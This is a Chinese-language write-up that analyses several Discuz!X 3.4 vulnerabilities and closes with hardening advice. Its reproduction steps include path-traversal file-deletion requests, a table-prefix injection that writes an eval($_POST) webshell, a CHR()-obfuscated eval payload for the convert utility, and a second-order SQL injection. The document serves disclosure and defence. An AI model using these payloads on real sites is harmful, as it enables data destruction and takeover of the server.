Discuz!X 3.4 系列漏洞梳理
字数 2047 2025-08-25 22:58:28
Discuz!X 3.4 系列漏洞分析与防护指南
1. Discuz!X ≤3.4 任意文件删除漏洞
漏洞概述
- 漏洞原因:之前存在的任意文件删除漏洞修复不完全导致可以绕过
- 修复时间:2017年9月29日
- 影响版本:Discuz!X ≤3.4
漏洞复现步骤
- 安装修复前的版本(git checkout 1a912ddb4a62364d1736fa4578b42ecc62c5d0be)
- 登录用户账户
- 访问URL:
http://127.0.0.1:8001/dz/upload/home.php?mod=spacecp&ac=profile&op=base - 发送POST请求:
POST birthprovince=testfile.txt&profilesubmit=1&formhash=e9d84225 - 表单中的出生地内容变为
../../../testfile.txt - 构造请求上传文件,文件将被删除
漏洞分析
- 关键文件:
/source/module/home/home_spacecp.php和/source/include/spacecp/spacecp_profile.php - 漏洞触发点:
@unlink(getglobal('setting/attachdir').'./profile/'.$space[$key]) $space[key]来自用户可控的birthprovince参数- 通过修改出生日期参数为目标文件路径实现任意文件删除
修复方法
官方直接删除了几条unlink语句
2. Discuz!X V3.4后台任意文件删除漏洞
漏洞概述
- 权限要求:管理员权限
- 影响版本:Discuz!X V3.4
漏洞复现步骤
- 登录后台
- 进入"论坛->模块管理->编辑板块"
- 使用burp拦截提交数据
- 修改请求包添加参数:
&replybgnew=testfile.txt&delreplybg=1 - 发送请求,文件将被删除
漏洞分析
- 关键文件:
/source/admincp/admincp_forums.php - 漏洞触发点:
@unlink($_G['setting']['attachurl'].'common/'.$_GET['replybgnew']) $_GET['replybgnew']参数可控- 路径拼接为:
data/attachment/common/+ 用户输入
3. 任意文件删除配合install过程getshell
漏洞概述
利用文件删除漏洞删除install.lock文件,绕过安装完成判断,重新安装时通过构造表前缀写入webshell
漏洞复现步骤
- 删除
data/install.lock文件 - 访问
install/index.php重新安装 - 修改表前缀为:
x');@eval($_POST[lanvnal]);(' - webshell将写入
config/config_ucenter.php
漏洞分析
- 关键文件:
install/index.php - 漏洞触发点:
save_uc_config函数未对表前缀参数做过滤 - 写入配置文件时直接拼接用户输入导致代码执行
利用条件
- 安装后没有登录后台(此时install/index还未删除)
- 因其他原因install目录未被删除
4. Dz全版本版本转换功能导致Getshell
漏洞概述
- 影响范围:全版本
- 条件:存在
/utility/convert/目录和相应功能
漏洞复现
发送POST请求:
POST /dz/utility/convert/index.php
a=config&source=d7.2_x1.5&submit=yes&newconfig[aaa%0a%0deval(CHR(101).CHR(118).CHR(97).CHR(108).CHR(40).CHR(34).CHR(36).CHR(95).CHR(80).CHR(79).CHR(83).CHR(84).CHR(91).CHR(108).CHR(97).CHR(110).CHR(118).CHR(110).CHR(97).CHR(108).CHR(93).CHR(59).CHR(34).CHR(41).CHR(59));//]=aaaa
漏洞分析
- 关键文件:
utility/convert/index.php和include/do_config.inc.php - 漏洞触发点:
save_config_file函数处理$newconfig数组时未过滤key值 - 通过换行符逃离注释范围,使输入数据转化为可执行代码
5. 全版本后台Sql注入
漏洞概述
- 影响版本:Discuz!X全版本
- 漏洞类型:二次注入
- 利用条件:需要管理员权限
漏洞分析
- 关键文件:
source/admincp/admincp_setting.php - 漏洞原因:经过addslashes存入文件后,从文件取出时转义符号丢失
- 注入点:
uc_client/model/base.php的note_exists方法
防护建议
- 及时更新:升级到最新版本,应用官方补丁
- 权限控制:
- 严格限制后台访问权限
- 避免使用弱密码
- 文件权限:
- 设置
install.lock为只读 - 删除不必要的
install目录
- 设置
- 输入过滤:
- 对所有用户输入进行严格过滤
- 特别警惕文件路径参数
- 代码审计:
- 检查所有文件操作函数(如unlink)
- 检查所有数据库操作是否使用预编译
- 日志监控:
- 监控异常文件删除操作
- 监控配置文件修改行为
总结
Discuz!X 3.4系列存在多种高危漏洞,包括任意文件删除、SQL注入和远程代码执行等。这些漏洞大多源于输入验证不严格和权限控制不足。管理员应高度重视系统安全,及时应用补丁并采取适当的防护措施。